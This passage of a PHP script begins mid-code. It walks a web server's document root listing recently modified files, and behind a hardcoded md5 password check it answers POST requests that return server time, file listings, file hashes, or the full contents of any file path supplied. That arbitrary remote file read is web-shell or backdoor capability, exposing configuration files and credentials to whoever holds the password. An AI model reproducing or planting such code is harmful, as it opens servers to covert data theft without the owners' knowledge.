0,'file' => 0,'simtype' => 0); while ($f = readdir($dh)){ if ($f == '.' || $f == '..') continue; if (is_dir("$pre$p$f/")) { walkdir($pre,"$p$f/",$l+1); }else{ $comparedate = filemtime($pre.''.$p.''.$f) ; if($comparedate > $modified_since ) { echo "$p".Chr(30)."$f".Chr(30).filesize($pre.''.$p.''.$f).Chr(30).$comparedate."\r\n" ; } }; }; closedir($dh); }; }; $rootpath = $_POST['rp'] ; $function_code = $_POST['mf'] ; $filename = $_POST['fn'] ; $md5 = md5($_POST["md5"]) ; $filename_self = $_POST['URL'] ; if ($md5=="4cac25d28bea5e08ef731c6caa629e1d"){ header('Content-type: text/plain'); if ( $function_code == "1" ) { echo time(); } elseif ( $function_code == "2" ) { echo dirname('/')."\r\n"; walkdir($HTTP_SERVER_VARS['DOCUMENT_ROOT'],$rootpath); } elseif ( $function_code == "3" ) { if ( file_exists($filename )) { echo file_get_contents($filename) ; } else { echo md5("file_doesnt_exist") ; } } elseif ( $function_code == "4" ) { if ( file_exists($filename_self)) { echo md5(file_get_contents($filename_self)); } else { echo md5("file_doesnt_exist ") ; } } } else { echo md5("invalid") ; } ?>